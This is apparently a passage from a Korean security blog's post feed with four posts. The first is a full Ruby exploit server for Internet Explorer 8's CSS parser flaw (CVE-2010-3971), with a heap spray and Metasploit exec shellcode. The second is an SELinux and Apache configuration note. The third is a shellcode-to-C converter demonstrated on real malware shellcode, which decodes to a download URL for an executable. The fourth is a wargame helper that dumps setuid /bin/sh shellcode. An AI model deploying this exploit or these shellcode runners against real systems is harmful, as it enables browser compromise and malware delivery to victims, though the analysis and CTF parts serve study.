137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 #!/usr/bin/env ruby # Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ # Author: Nephi Johnson (d0c_s4vage) require \u0026#39;socket\u0026#39; def http_send(sock, data, opts={}) defaults = {:code=\u0026gt;\u0026#34;200\u0026#34;, :message=\u0026gt;\u0026#34;OK\u0026#34;, :type=\u0026gt;\u0026#34;text/html\u0026#34;} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] to_send = \u0026#34;HTTP/1.1 #{code} #{message}\\r\\n\u0026#34; + \u0026#34;Date: Sat, 11 Dec 2010 14:20:23 GMT\\r\\n\u0026#34; + \u0026#34;Cache-Control: no-cache\\r\\n\u0026#34; + \u0026#34;Content-Type: #{type}\\r\\n\u0026#34; + \u0026#34;Pragma: no-cache\\r\\n\u0026#34; + \u0026#34;Content-Length: #{data.length}\\r\\n\\r\\n\u0026#34; + \u0026#34;#{data}\u0026#34; puts \u0026#34;[+] Sending:\u0026#34; to_send.split(\u0026#34;\\n\u0026#34;).each do |line| puts \u0026#34; #{line}\u0026#34; end sock.write(to_send) rescue return false return true end def sock_read(sock, out_str, timeout=5) begin if Kernel.select([sock],[],[],timeout) out_str.replace(sock.recv(1024)) puts \u0026#34;[+] Received:\u0026#34; out_str.split(\u0026#34;\\n\u0026#34;).each do |line| puts \u0026#34; #{line}\u0026#34; end else sock.close return false end rescue Exception =\u0026gt; ex return false end end def to_uni(str) res = \u0026#34;\u0026#34; str.each_byte do |b| res \u0026lt;\u0026lt; \u0026#34;\\x00#{b.chr}\u0026#34; end res end @css_name = \u0026#34;\\x00s\\x03s\\x00s\\x03s\\x00s\\x03s\\x00s\\x03s\u0026#34; @html_name = \u0026#34;test.html\u0026#34; placeholder = \u0026#34;a\u0026#34; * (@css_name.length/2) @html = \u0026lt;\u0026lt;-HTML \u0026lt;script\u0026gt; function dup_str(str, length) { var res = str; while(res.length \u0026lt; length) { res += res; } res = res.substr(res.length - length); return res; } function to_bin(str) { var res = \u0026#34;\u0026#34;; while(str.length \u0026gt; 0) { var first = str.substr(0, 2); var second = str.substr(2, 2); res += \u0026#34;%u\u0026#34; + second + first; str = (str.length \u0026gt; 4) ? str.substr(4) : \u0026#34;\u0026#34;; } return unescape(res); } // first heap spray var base = dup_str(to_bin(\u0026#34;0c0c0c0900000008000000730073030100000000010000730073030c\u0026#34;), 512+6); var arr = [] for(var i = 0; i \u0026lt; 60000; i++) { arr[i] = [\u0026#34;\u0026#34; + base].join(\u0026#34;\u0026#34;); } // second heap spray w/ shellcode var nops = dup_str(to_bin(\u0026#34;0c0c0c0c\u0026#34;), 4096+6); // windows/exec - 200 bytes // http://www.metasploit.com // EXITFUNC=process, CMD=calc.exe var shellcode = unescape(\u0026#34;%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30\u0026#34; + \u0026#34;%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031\u0026#34; + \u0026#34;%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752\u0026#34; + \u0026#34;%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a\u0026#34; + \u0026#34;%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34\u0026#34; + \u0026#34;%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475\u0026#34; + \u0026#34;%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66\u0026#34; + \u0026#34;%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424\u0026#34; + \u0026#34;%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86\u0026#34; + \u0026#34;%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff\u0026#34; + \u0026#34;%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c\u0026#34; + \u0026#34;%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5\u0026#34; + \u0026#34;%u6c61%u2e63%u7865%u0065\u0026#34;); var arr2 = []; for(var i = 0; i \u0026lt; 30000; i++) { arr2[i] = [nops + shellcode].join(\u0026#34;\u0026#34;); } // write the link to the stylesheet var link = document.createElement(\u0026#34;link\u0026#34;); link.setAttribute(\u0026#34;rel\u0026#34;, \u0026#34;Stylesheet\u0026#34;); link.setAttribute(\u0026#34;type\u0026#34;, \u0026#34;text/css\u0026#34;); link.setAttribute(\u0026#34;href\u0026#34;, \u0026#34;#{placeholder}\u0026#34;) document.getElementsByTagName(\u0026#34;head\u0026#34;)[0].appendChild(link); \u0026lt;/script\u0026gt; HTML @html = \u0026#34;\\xfe\\xff\u0026#34; + to_uni(@html) @html.gsub!(to_uni(placeholder), @css_name) @css = \u0026lt;\u0026lt;-CSS @import url(\u0026#34;#{placeholder}\u0026#34;); @import url(\u0026#34;#{placeholder}\u0026#34;); @import url(\u0026#34;#{placeholder}\u0026#34;); @import url(\u0026#34;#{placeholder}\u0026#34;); CSS @css = \u0026#34;\\xfe\\xff\u0026#34; + to_uni(@css) @css.gsub!(to_uni(placeholder), @css_name) @index = \u0026lt;\u0026lt;-INDEX \u0026lt;a href=\u0026#34;#{@html_name}\u0026#34;\u0026gt;#{@html_name}\u0026lt;/a\u0026gt; INDEX TCPServer.open(55555) do |srv| while true cli = srv.accept req = \u0026#34;\u0026#34; html = \u0026#34;\u0026#34; css = \u0026#34;\u0026#34; index = \u0026#34;\u0026#34; next unless sock_read(cli, req, 5) while req.length \u0026gt; 0 if req =~ /GET/ if req =~ /GET.#{Regexp.escape(@html_name)}/ break unless http_send(cli, @html, :type=\u0026gt;\u0026#34;text/html\u0026#34;) elsif req =~ /GET.index/ break unless http_send(cli, @index) elsif req =~ /GET.*#{Regexp.escape(@css_name)}/ break unless http_send(cli, @css, :type=\u0026gt;\u0026#34;text/css\u0026#34;) else break unless http_send(cli, @css, :type=\u0026gt;\u0026#34;text/css\u0026#34;) end elsif req =~ /QUIT/ exit() end req = \u0026#34;\u0026#34; next unless sock_read(cli, req, 5) end cli.close rescue next end end ","date":"2010-12-16T04:43:28Z","permalink":"/2010/12/16/internet-explorer-8-css-parser-exploit/","title":"Internet Explorer 8 CSS Parser Exploit - (CVE-2010-3971, MS11-003)"},{"content":"최근에 웹에서 PHP를 이용하여 Python 스크립트를 실행할 일이 있어 구성 후 실행을 하였으나 정상적으로 실행이 안되어 문제를 확인하다 보니 SELinux 문제로 확인되었다. 문제 확인 방법은 'audit2allow -a' 명령어를 통해 SELinux 관련 로그를 파싱에서 볼 수 있다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 [root@localhost Honeypot]# audit2allow -a #============= httpd_sys_script_t ============== #!!!! This avc can be allowed using one of the these booleans: # allow_ypbind, httpd_can_network_connect allow httpd_sys_script_t smtp_port_t:tcp_socket name_connect; allow httpd_sys_script_t sysfs_t:dir search; #============= httpd_t ============== #!!!! This avc can be allowed using one of the these booleans: # httpd_read_user_content, httpd_enable_homedirs allow httpd_t user_home_dir_t:dir getattr; Apache와 SELinux와 관계된 설정값은 아래와 같다.\nhttpd_sys_content_t : 아파치의 모든 스크립트와 데몬에서 제공되는 모든 콘텐츠에 대한 설정 httpd_sys_script_exec_t : CGI실행을 허용 여부에 대한 설정 httpd_sys_script_ro_t : httpd_sys_script_exec_t 실행시 읽기 전용으로 사용 설정. httpd_sys_script_rw_t : httpd_sys_script_exec_t 실행시 읽기/쓰기 전용으로 사용 설정. httpd_sys_script_ra_t : httpd_sys_script_exec_t 실행시 읽기/append 전용으로 사용 설정 httpd_unconfined_script_exec_t : SELinux 보호 설정에 보호받지 않고 실행하기 위한 설정\n아래와 같이 설정을 하여 정상적으로 운영이 됨을 확인하였다.\n1 2 3 4 5 6 7 8 9 10 11 [root@localhost Honeypot]# chcon -t httpd_unconfined_script_exec_t test.py [root@localhost Honeypot]# ls -alZ drwxr-xr-x root root root:object_r:httpd_sys_content_t . drwxr-x--- root apache system_u:object_r:httpd_sys_content_t .. drwx---rwx root root user_u:object_r:httpd_sys_content_t Download -rw-r--r-- root root user_u:object_r:httpd_sys_content_t index.php drwx---rwx root root user_u:object_r:httpd_sys_content_t tmp drwx---rwx root root user_u:object_r:httpd_sys_content_t Upload -rwx---r-x root root user_u:object_r:httpd_sys_content_t upload.php -rw-r--r-x root root user_u:object_r:httpd_unconfined_script_exec_t test.py [root@localhost Honeypot]# ","date":"2010-12-14T15:21:04Z","permalink":"/2010/12/14/selinux%EC%99%80-apache/","title":"SELinux와 Apache"},{"content":"리눅스 머신에서 쉘코드에서 문자열 확인할 때 편하게 하고자 작성한 스크립트 입니다.\n작성하고 사용하다 보니 최근 국내에 삽입되는 온라인게임핵 관련 악성코드는 XOR로 악성코드를 다운로드 받는 URL이 암호화 되어 있는데 이걸 좀 더 쉽게 찾을 수 있는 방법이 되기도 하네요...\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/usr/bin/env python import sys shellcode = sys.argv[1] paser = shellcode.split(\u0026#39;%u\u0026#39;) output = \u0026#39;\u0026#39; for x in paser: if x == \u0026#39;\u0026#39;: output += \u0026#39;#include \u0026lt;stdio.h\u0026gt;\\n\u0026#39; output += \u0026#39;unsigned char shellcode[] = \u0026#34;\u0026#39; continue output += \u0026#39;\\x\u0026#39; + x[2:4] + \u0026#39;\\x\u0026#39; + x[0:2] output += \u0026#39;\u0026#34;;\\n\\nmain () {\\n\u0026#39; output += \u0026#39; void (*a)() = (void *)shellcode;\\n\u0026#39; output += \u0026#39; printf(\u0026#34;size: %d bytes\\n\u0026#34;, strlen(shellcode));\\n\u0026#39; output += \u0026#39; a();\\n}\u0026#39; print output f = open(\u0026#39;output.c\u0026#39;, \u0026#39;w\u0026#39;) f.write(output) f.close() 사용법은 아래와 같습니다. 여기서 예제로 입력한 코드는 실제 악성코드 유포에 이용되는 쉘코드의 일부분 입니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [byjjoon@ByJJoon sh]$ ./shellcode2binary.py \u0026#34;%u74C0%uC107%u0DCF%uF803%uF4EB%u3B36%u247C%u7528%u3EDF%u5A8B%u0324%u66DD%u8B3E%u4B0C%u8B3E%u1C5A%uDD03%u8B3E%u8B04%uC503%u8936%u2444%u611C%uE8C3%uFB4F%uFFFF%u7468%u7074%u2f3a%u772f%u7777%u742e%u3279%u3635%u632e%u6d6f%u692f%u616d%u6567%u2f73%u2e73%u7865%u0065\u0026#34; #include \u0026lt;stdio.h\u0026gt; unsigned char shellcode[] = \u0026#34;\\xC0\\x74\\x07\\xC1\\xCF\\x0D\\x03\\xF8\\xEB\\xF4\\x36\\x3B\\x7C\\x24\\x28\\x75\\xDF\\x3E\\x8B\\x5A\\x24\\x03\\xDD\\x66\\x3E\\x8B\\x0C\\x4B\\x3E\\x8B\\x5A\\x1C\\x03\\xDD\\x3E\\x8B\\x04\\x8B\\x03\\xC5\\x36\\x89\\x44\\x24\\x1C\\x61\\xC3\\xE8\\x4F\\xFB\\xFF\\xFF\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x77\\x77\\x2e\\x74\\x79\\x32\\x35\\x36\\x2e\\x63\\x6f\\x6d\\x2f\\x69\\x6d\\x61\\x67\\x65\\x73\\x2f\\x73\\x2e\\x65\\x78\\x65\\x00\u0026#34;; main () { void (*a)() = (void *)shellcode; printf(\u0026#34;size: %d bytes\\n\u0026#34;, strlen(shellcode)); a(); } [byjjoon@ByJJoon sh]$ gcc output.c output.c: In function ‘main’: output.c:6: warning: incompatible implicit declaration of built-in function ‘strlen’ [byjjoon@ByJJoon sh]$ strings a.out | grep http http://www.ty256.com/images/s.exe [byjjoon@ByJJoon sh]$ UCS2 Shellcode를 Hex로 변환하는 부분이나 기타 XOR로 암호화 된 문자열을 찾는데 유용할 거 같네요.. :-)\n","date":"2010-12-09T06:15:30Z","permalink":"/2010/12/09/%EB%A6%AC%EB%88%85%EC%8A%A4-%EB%A8%B8%EC%8B%A0%EC%97%90%EC%84%9C-%EC%89%98%EC%BD%94%EB%93%9C%EC%97%90-%EC%9E%88%EB%8A%94-%EB%AC%B8%EC%9E%90%EC%97%B4-%ED%99%95%EC%9D%B8/","title":"UCS2 shellcode를 hex로 변환 후 문자열 확인"},{"content":"vortex 8번 문제는 쉘코드를 작성해야 하는 문제인데 코드를 작성하여 gcc로 컴파일 후 objdump를 이용하여 쉘코드만 따로 뽑아내는 작업이 너무 번거로워 간단하게 스크립트로 작성하였습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #!/usr/bin/env python import re, sys, os def parser(): f = open(\u0026#39;dump.txt\u0026#39;, \u0026#39;r\u0026#39;) data = f.read() f.close() data = re.split(\u0026#39;[0-9a-f]{8} \u0026lt;\u0026#39;, data) for x in data: try: title = re.search(\u0026#39;.*\u0026gt;:\u0026#39;, x).group() except: title = \u0026#39;\u0026#39; pass hexdata = re.findall(\u0026#39;\\t[0-9a-f ]+\\t\u0026#39;, x) hexdata = \u0026#39;\u0026#39;.join(hexdata) hexdata = re.findall(\u0026#39;[0-9a-f]{2} \u0026#39;, hexdata) print \u0026#39;############################################################\u0026#39; print \u0026#39;# \u0026lt;\u0026#39; + title[:-1] print \u0026#39;############################################################\u0026#39; print x output = [] for x in hexdata: x = re.sub(\u0026#39;\\s\u0026#39;, \u0026#39;\u0026#39;, x) output.append(\u0026#39;\\x\u0026#39; + x) print \u0026#39;\u0026#39;.join(output) def main(): if len(sys.argv) != 2: print \u0026#39;Usage: ./objdump2shellcode.py Filename\u0026#39; sys.exit() os.system(\u0026#39;objdump -d \u0026#39; + sys.argv[1] + \u0026#39; \u0026gt; dump.txt\u0026#39;) parser() if __name__ == \u0026#39;__main__\u0026#39;: main() 사용법은 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 [byjjoon@ByJJoon sh]$ ./objdump2shellcode.py shell ############################################################ # \u0026lt; ############################################################ shell: file format elf32-i386 Disassembly of section .init: ############################################################ # \u0026lt;_init\u0026gt; ############################################################ _init\u0026gt;: 8048274: 55 push %ebp 8048275: 89 e5 mov %esp,%ebp 8048277: 53 push %ebx 8048278: 83 ec 04 sub $0x4,%esp 804827b: e8 00 00 00 00 call 8048280 \u0026lt;_init+0xc\u0026gt; 8048280: 5b pop %ebx 8048281: 81 c3 88 13 00 00 add $0x1388,%ebx 8048287: 8b 93 fc ff ff ff mov -0x4(%ebx),%edx 804828d: 85 d2 test %edx,%edx 804828f: 74 05 je 8048296 \u0026lt;_init+0x22\u0026gt; 8048291: e8 1e 00 00 00 call 80482b4 \u0026lt;__gmon_start__@plt\u0026gt; 8048296: e8 d5 00 00 00 call 8048370 \u0026lt;frame_dummy\u0026gt; 804829b: e8 c0 01 00 00 call 8048460 \u0026lt;__do_global_ctors_aux\u0026gt; 80482a0: 58 pop %eax 80482a1: 5b pop %ebx 80482a2: c9 leave 80482a3: c3 ret Disassembly of section .plt: \\x55\\x89\\xe5\\x53\\x83\\xec\\x04\\xe8\\x00\\x00\\x00\\x00\\x5b\\x81\\xc3\\x88\\x13\\x00\\x00\\x8b\\x93\\xfc\\xff\\xff\\xff\\x85\\xd2\\x74\\x05\\xe8\\x1e\\x00\\x00\\x00\\xe8\\xd5\\x00\\x00\\x00\\xe8\\xc0\\x01\\x00\\x00\\x58\\x5b\\xc9\\xc3 ############################################################ # \u0026lt;__gmon_start__@plt-0x10\u0026gt; ############################################################ __gmon_start__@plt-0x10\u0026gt;: 80482a4: ff 35 0c 96 04 08 pushl 0x804960c 80482aa: ff 25 10 96 04 08 jmp *0x8049610 80482b0: 00 00 add %al,(%eax) ... \\xff\\x35\\x0c\\x96\\x04\\x08\\xff\\x25\\x10\\x96\\x04\\x08\\x00\\x00 ############################################################ # \u0026lt;__gmon_start__@plt\u0026gt; ############################################################ __gmon_start__@plt\u0026gt;: 80482b4: ff 25 14 96 04 08 jmp *0x8049614 80482ba: 68 00 00 00 00 push $0x0 80482bf: e9 e0 ff ff ff jmp 80482a4 \u0026lt;_init+0x30\u0026gt; \\xff\\x25\\x14\\x96\\x04\\x08\\x68\\x00\\x00\\x00\\x00\\xe9\\xe0\\xff\\xff\\xff ############################################################ # \u0026lt;__libc_start_main@plt\u0026gt; ############################################################ __libc_start_main@plt\u0026gt;: 80482c4: ff 25 18 96 04 08 jmp *0x8049618 80482ca: 68 08 00 00 00 push $0x8 80482cf: e9 d0 ff ff ff jmp 80482a4 \u0026lt;_init+0x30\u0026gt; Disassembly of section .text: \\xff\\x25\\x18\\x96\\x04\\x08\\x68\\x08\\x00\\x00\\x00\\xe9\\xd0\\xff\\xff\\xff ############################################################ # \u0026lt;_start\u0026gt; ############################################################ _start\u0026gt;: 80482e0: 31 ed xor %ebp,%ebp 80482e2: 5e pop %esi 80482e3: 89 e1 mov %esp,%ecx 80482e5: 83 e4 f0 and $0xfffffff0,%esp 80482e8: 50 push %eax 80482e9: 54 push %esp 80482ea: 52 push %edx 80482eb: 68 f0 83 04 08 push $0x80483f0 80482f0: 68 00 84 04 08 push $0x8048400 80482f5: 51 push %ecx 80482f6: 56 push %esi 80482f7: 68 bd 83 04 08 push $0x80483bd 80482fc: e8 c3 ff ff ff call 80482c4 \u0026lt;__libc_start_main@plt\u0026gt; 8048301: f4 hlt 8048302: 90 nop 8048303: 90 nop 8048304: 90 nop 8048305: 90 nop 8048306: 90 nop 8048307: 90 nop 8048308: 90 nop 8048309: 90 nop 804830a: 90 nop 804830b: 90 nop 804830c: 90 nop 804830d: 90 nop 804830e: 90 nop 804830f: 90 nop \\x31\\xed\\x5e\\x89\\xe1\\x83\\xe4\\xf0\\x50\\x54\\x52\\x68\\xf0\\x83\\x04\\x08\\x68\\x00\\x84\\x04\\x08\\x51\\x56\\x68\\xbd\\x83\\x04\\x08\\xe8\\xc3\\xff\\xff\\xff\\xf4\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90 ############################################################ # \u0026lt;__do_global_dtors_aux\u0026gt; ############################################################ __do_global_dtors_aux\u0026gt;: 8048310: 55 push %ebp 8048311: 89 e5 mov %esp,%ebp 8048313: 53 push %ebx 8048314: 83 ec 04 sub $0x4,%esp 8048317: 80 3d 20 96 04 08 00 cmpb $0x0,0x8049620 804831e: 75 40 jne 8048360 \u0026lt;__do_global_dtors_aux+0x50\u0026gt; 8048320: 8b 15 24 96 04 08 mov 0x8049624,%edx 8048326: b8 34 95 04 08 mov $0x8049534,%eax 804832b: 2d 30 95 04 08 sub $0x8049530,%eax 8048330: c1 f8 02 sar $0x2,%eax 8048333: 8d 58 ff lea -0x1(%eax),%ebx 8048336: 39 da cmp %ebx,%edx 8048338: 73 1f jae 8048359 \u0026lt;__do_global_dtors_aux+0x49\u0026gt; 804833a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8048340: 8d 42 01 lea 0x1(%edx),%eax 8048343: a3 24 96 04 08 mov %eax,0x8049624 8048348: ff 14 85 30 95 04 08 call *0x8049530(,%eax,4) 804834f: 8b 15 24 96 04 08 mov 0x8049624,%edx 8048355: 39 da cmp %ebx,%edx 8048357: 72 e7 jb 8048340 \u0026lt;__do_global_dtors_aux+0x30\u0026gt; 8048359: c6 05 20 96 04 08 01 movb $0x1,0x8049620 8048360: 83 c4 04 add $0x4,%esp 8048363: 5b pop %ebx 8048364: 5d pop %ebp 8048365: c3 ret 8048366: 8d 76 00 lea 0x0(%esi),%esi 8048369: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi \\x55\\x89\\xe5\\x53\\x83\\xec\\x04\\x80\\x3d\\x20\\x96\\x04\\x08\\x00\\x75\\x40\\x8b\\x15\\x24\\x96\\x04\\x08\\xb8\\x34\\x95\\x04\\x08\\x2d\\x30\\x95\\x04\\x08\\xc1\\xf8\\x02\\x8d\\x58\\xff\\x39\\xda\\x73\\x1f\\x8d\\xb6\\x00\\x00\\x00\\x00\\x8d\\x42\\x01\\xa3\\x24\\x96\\x04\\x08\\xff\\x14\\x85\\x30\\x95\\x04\\x08\\x8b\\x15\\x24\\x96\\x04\\x08\\x39\\xda\\x72\\xe7\\xc6\\x05\\x20\\x96\\x04\\x08\\x01\\x83\\xc4\\x04\\x5b\\x5d\\xc3\\x8d\\x76\\x00\\x8d\\xbc\\x27\\x00\\x00\\x00\\x00 ############################################################ # \u0026lt;frame_dummy\u0026gt; ############################################################ frame_dummy\u0026gt;: 8048370: 55 push %ebp 8048371: 89 e5 mov %esp,%ebp 8048373: 83 ec 08 sub $0x8,%esp 8048376: a1 38 95 04 08 mov 0x8049538,%eax 804837b: 85 c0 test %eax,%eax 804837d: 74 12 je 8048391 \u0026lt;frame_dummy+0x21\u0026gt; 804837f: b8 00 00 00 00 mov $0x0,%eax 8048384: 85 c0 test %eax,%eax 8048386: 74 09 je 8048391 \u0026lt;frame_dummy+0x21\u0026gt; 8048388: c7 04 24 38 95 04 08 movl $0x8049538,(%esp) 804838f: ff d0 call *%eax 8048391: c9 leave 8048392: c3 ret 8048393: 90 nop \\x55\\x89\\xe5\\x83\\xec\\x08\\xa1\\x38\\x95\\x04\\x08\\x85\\xc0\\x74\\x12\\xb8\\x00\\x00\\x00\\x00\\x85\\xc0\\x74\\x09\\xc7\\x04\\x24\\x38\\x95\\x04\\x08\\xff\\xd0\\xc9\\xc3\\x90 ############################################################ # \u0026lt;modify\u0026gt; ############################################################ modify\u0026gt;: 8048394: 5e pop %esi 8048395: 31 c0 xor %eax,%eax 8048397: 31 db xor %ebx,%ebx 8048399: 31 c9 xor %ecx,%ecx 804839b: 31 d2 xor %edx,%edx 804839d: b0 7d mov $0x7d,%al 804839f: bb 10 80 04 08 mov $0x8048010,%ebx 80483a4: 30 db xor %bl,%bl 80483a6: 66 b9 10 20 mov $0x2010,%cx 80483aa: 30 c9 xor %cl,%cl 80483ac: b2 07 mov $0x7,%dl 80483ae: cd 80 int $0x80 80483b0: b8 81 85 04 08 mov $0x8048581,%eax 80483b5: 29 c6 sub %eax,%esi 80483b7: 89 35 7d 85 04 08 mov %esi,0x804857d \\x5e\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb0\\x7d\\xbb\\x10\\x80\\x04\\x08\\x30\\xdb\\x66\\xb9\\x10\\x20\\x30\\xc9\\xb2\\x07\\xcd\\x80\\xb8\\x81\\x85\\x04\\x08\\x29\\xc6\\x89\\x35\\x7d\\x85\\x04\\x08 ############################################################ # \u0026lt;main\u0026gt; ############################################################ main\u0026gt;: 80483bd: e8 d2 ff ff ff call 8048394 \u0026lt;modify\u0026gt; \\xe8\\xd2\\xff\\xff\\xff ############################################################ # \u0026lt;shell\u0026gt; ############################################################ shell\u0026gt;: 80483c2: 31 c0 xor %eax,%eax 80483c4: b0 31 mov $0x31,%al 80483c6: cd 80 int $0x80 80483c8: 89 c2 mov %eax,%edx 80483ca: 89 c1 mov %eax,%ecx 80483cc: 89 c3 mov %eax,%ebx 80483ce: 31 c0 xor %eax,%eax 80483d0: b0 a4 mov $0xa4,%al 80483d2: cd 80 int $0x80 80483d4: 31 c0 xor %eax,%eax 80483d6: 50 push %eax 80483d7: 68 2f 2f 73 68 push $0x68732f2f 80483dc: 68 2f 62 69 6e push $0x6e69622f 80483e1: 89 e3 mov %esp,%ebx 80483e3: 50 push %eax 80483e4: 53 push %ebx 80483e5: 89 e1 mov %esp,%ecx 80483e7: 89 c2 mov %eax,%edx 80483e9: b0 0b mov $0xb,%al 80483eb: cd 80 int $0x80 80483ed: 90 nop 80483ee: 90 nop 80483ef: 90 nop \\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc2\\x89\\xc1\\x89\\xc3\\x31\\xc0\\xb0\\xa4\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\\x90\\x90\\x90 ############################################################ # \u0026lt;__libc_csu_fini\u0026gt; ############################################################ __libc_csu_fini\u0026gt;: 80483f0: 55 push %ebp 80483f1: 89 e5 mov %esp,%ebp 80483f3: 5d pop %ebp 80483f4: c3 ret 80483f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80483f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi \\x55\\x89\\xe5\\x5d\\xc3\\x8d\\x74\\x26\\x00\\x8d\\xbc\\x27\\x00\\x00\\x00\\x00 ############################################################ # \u0026lt;__libc_csu_init\u0026gt; ############################################################ __libc_csu_init\u0026gt;: 8048400: 55 push %ebp 8048401: 89 e5 mov %esp,%ebp 8048403: 57 push %edi 8048404: 56 push %esi 8048405: 53 push %ebx 8048406: e8 4f 00 00 00 call 804845a \u0026lt;__i686.get_pc_thunk.bx\u0026gt; 804840b: 81 c3 fd 11 00 00 add $0x11fd,%ebx 8048411: 83 ec 0c sub $0xc,%esp 8048414: e8 5b fe ff ff call 8048274 \u0026lt;_init\u0026gt; 8048419: 8d bb 20 ff ff ff lea -0xe0(%ebx),%edi 804841f: 8d 83 20 ff ff ff lea -0xe0(%ebx),%eax 8048425: 29 c7 sub %eax,%edi 8048427: c1 ff 02 sar $0x2,%edi 804842a: 85 ff test %edi,%edi 804842c: 74 24 je 8048452 \u0026lt;__libc_csu_init+0x52\u0026gt; 804842e: 31 f6 xor %esi,%esi 8048430: 8b 45 10 mov 0x10(%ebp),%eax 8048433: 89 44 24 08 mov %eax,0x8(%esp) 8048437: 8b 45 0c mov 0xc(%ebp),%eax 804843a: 89 44 24 04 mov %eax,0x4(%esp) 804843e: 8b 45 08 mov 0x8(%ebp),%eax 8048441: 89 04 24 mov %eax,(%esp) 8048444: ff 94 b3 20 ff ff ff call *-0xe0(%ebx,%esi,4) 804844b: 83 c6 01 add $0x1,%esi 804844e: 39 fe cmp %edi,%esi 8048450: 72 de jb 8048430 \u0026lt;__libc_csu_init+0x30\u0026gt; 8048452: 83 c4 0c add $0xc,%esp 8048455: 5b pop %ebx 8048456: 5e pop %esi 8048457: 5f pop %edi 8048458: 5d pop %ebp 8048459: c3 ret \\x55\\x89\\xe5\\x57\\x56\\x53\\xe8\\x4f\\x00\\x00\\x00\\x81\\xc3\\xfd\\x11\\x00\\x00\\x83\\xec\\x0c\\xe8\\x5b\\xfe\\xff\\xff\\x8d\\xbb\\x20\\xff\\xff\\xff\\x8d\\x83\\x20\\xff\\xff\\xff\\x29\\xc7\\xc1\\xff\\x02\\x85\\xff\\x74\\x24\\x31\\xf6\\x8b\\x45\\x10\\x89\\x44\\x24\\x08\\x8b\\x45\\x0c\\x89\\x44\\x24\\x04\\x8b\\x45\\x08\\x89\\x04\\x24\\xff\\x94\\xb3\\x20\\xff\\xff\\xff\\x83\\xc6\\x01\\x39\\xfe\\x72\\xde\\x83\\xc4\\x0c\\x5b\\x5e\\x5f\\x5d\\xc3 ############################################################ # \u0026lt;__i686.get_pc_thunk.bx\u0026gt; ############################################################ __i686.get_pc_thunk.bx\u0026gt;: 804845a: 8b 1c 24 mov (%esp),%ebx 804845d: c3 ret 804845e: 90 nop 804845f: 90 nop \\x8b\\x1c\\x24\\xc3\\x90\\x90 ############################################################ # \u0026lt;__do_global_ctors_aux\u0026gt; ############################################################ __do_global_ctors_aux\u0026gt;: 8048460: 55 push %ebp 8048461: 89 e5 mov %esp,%ebp 8048463: 53 push %ebx 8048464: 83 ec 04 sub $0x4,%esp 8048467: a1 28 95 04 08 mov 0x8049528,%eax 804846c: 83 f8 ff cmp $0xffffffff,%eax 804846f: 74 13 je 8048484 \u0026lt;__do_global_ctors_aux+0x24\u0026gt; 8048471: bb 28 95 04 08 mov $0x8049528,%ebx 8048476: 66 90 xchg %ax,%ax 8048478: 83 eb 04 sub $0x4,%ebx 804847b: ff d0 call *%eax 804847d: 8b 03 mov (%ebx),%eax 804847f: 83 f8 ff cmp $0xffffffff,%eax 8048482: 75 f4 jne 8048478 \u0026lt;__do_global_ctors_aux+0x18\u0026gt; 8048484: 83 c4 04 add $0x4,%esp 8048487: 5b pop %ebx 8048488: 5d pop %ebp 8048489: c3 ret 804848a: 90 nop 804848b: 90 nop Disassembly of section .fini: 